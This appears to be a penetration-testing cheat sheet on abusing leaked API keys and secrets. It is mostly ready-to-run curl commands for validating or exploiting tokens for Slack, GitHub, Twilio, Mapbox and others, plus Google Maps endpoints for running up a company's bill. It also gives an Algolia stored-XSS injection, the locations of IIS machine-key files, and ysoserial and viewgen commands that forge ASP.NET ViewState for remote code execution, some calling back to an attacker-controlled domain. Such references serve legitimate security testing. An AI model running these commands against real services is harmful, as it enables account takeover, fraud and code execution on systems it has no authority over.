API Key Leaks

API Key Leaks #

The API key is a unique identifier that is used to authenticate requests associated with your project. Some developers might hardcode them or leave it on public shares.

Summary #

Tools #

Exploit #

The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.

Google Maps #

Use : https://github.com/ozguralp/gmapsapiscanner/

Usage:

NameEndpoint
Static Mapshttps://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=KEY_HERE
Streetviewhttps://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=KEY_HERE
Embedhttps://www.google.com/maps/embed/v1/place?q=place_id:ChIJyX7muQw8tokR2Vf5WBBk1iQ&key=KEY_HERE
Directionshttps://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=KEY_HERE
Geocodinghttps://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=KEY_HERE
Distance Matrixhttps://maps.googleapis.com/maps/api/distancematrix/json?units=imperial&origins=40.6655101,-73.89188969999998&destinations=40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.6905615%2C-73.9976592%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626%7C40.659569%2C-73.933783%7C40.729029%2C-73.851524%7C40.6860072%2C-73.6334271%7C40.598566%2C-73.7527626&key=KEY_HERE
Find Place from Texthttps://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum%20of%20Contemporary%20Art%20Australia&inputtype=textquery&fields=photos,formatted_address,name,rating,opening_hours,geometry&key=KEY_HERE
Autocompletehttps://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=%28cities%29&key=KEY_HERE
Elevationhttps://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=KEY_HERE
Timezonehttps://maps.googleapis.com/maps/api/timezone/json?location=39.6034810,-119.6822510×tamp=1331161200&key=KEY_HERE
Roadshttps://roads.googleapis.com/v1/nearestRoads?points=60.170880,24.942795
Geolocatehttps://www.googleapis.com/geolocation/v1/geolocate?key=KEY_HERE

Impact:

  • Consuming the company’s monthly quota or can over-bill with unauthorized usage of this service and do financial damage to the company
  • Conduct a denial of service attack specific to the service if any limitation of maximum bill control settings exist in the Google account

Algolia #

curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'

Slack API Token #

curl -sX POST "https://slack.com/api/auth.test?token=xoxp-TOKEN_HERE&pretty=1"

Facebook Access Token #

curl https://developers.facebook.com/tools/debug/accesstoken/?access_token=ACCESS_TOKEN_HERE&version=v3.2

Github client id and client secret #

curl 'https://api.github.com/users/whatever?client_id=xxxx&client_secret=yyyy'

Twilio Account_sid and Auth token #

curl -X GET 'https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN

Twitter API Secret #

curl -u 'API key:API secret key' --data 'grant_type=client_credentials' 'https://api.twitter.com/oauth2/token'

Twitter Bearer Token #

curl --request GET --url https://api.twitter.com/1.1/account_activity/all/subscriptions/count.json --header 'authorization: Bearer TOKEN'

Gitlab Personal Access Token #

curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_token>"

HockeyApp API Token #

curl -H "X-HockeyAppToken: ad136912c642076b0d1f32ba161f1846b2c" https://rink.hockeyapp.net/api/2/apps/2021bdf2671ab09174c1de5ad147ea2ba4

IIS Machine Keys #

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification. Requirements

  • machineKey validationKey and decryptionKey
  • __VIEWSTATEGENERATOR cookies
  • __VIEWSTATE cookies

Example of a machineKey from https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication.

<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />

Common locations of web.config / machine.config

  • 32-bit
    • C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
  • 64-bit
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
  • in registry when AutoGenerate is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
    • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4
    • HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey

Identify known machine key #

# --webconfig WEBCONFIG: automatically load keys and algorithms from a web.config file
# -m MODIFIER, --modifier MODIFIER: VIEWSTATEGENERATOR value
$ viewgen --guess "/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1
# --encrypteddata : __VIEWSTATE parameter value of the target application
# --modifier : __VIEWSTATEGENERATOR parameter value
$ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata <real viewstate value> --purpose=viewstate --modifier=<modifier value> –macdecode

Decode ViewState #

$ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate  --modifier=CA0B0334 --macdecode
$ .\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

Generate ViewState for RCE #

NOTE: Send a POST request with the generated ViewState to the same endpoint, in Burp you should URL Encode Key Characters for your payload.

$ ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "cmd.exe /c nslookup <your collab domain>"  --decryptionalg="AES" --generator=ABABABAB decryptionkey="<decryption key>"  --validationalg="SHA1" --validationkey="<validation key>"
$ ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="MD5" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "C:\Users\zhu\Desktop\ExploitClass.cs;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="b07b0f97365416288cf0247cffdf135d25f6be87"
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"

Edit cookies with the machine key #

If you have the machineKey but the viewstate is disabled.

ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools

# decrypt cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# encrypt cookie (edit Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt

Mapbox API Token #

A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is sk, jackpot. If it’s pk or tk, it’s not worth your time.

#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropiate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"

References #

Calendar March 28, 2023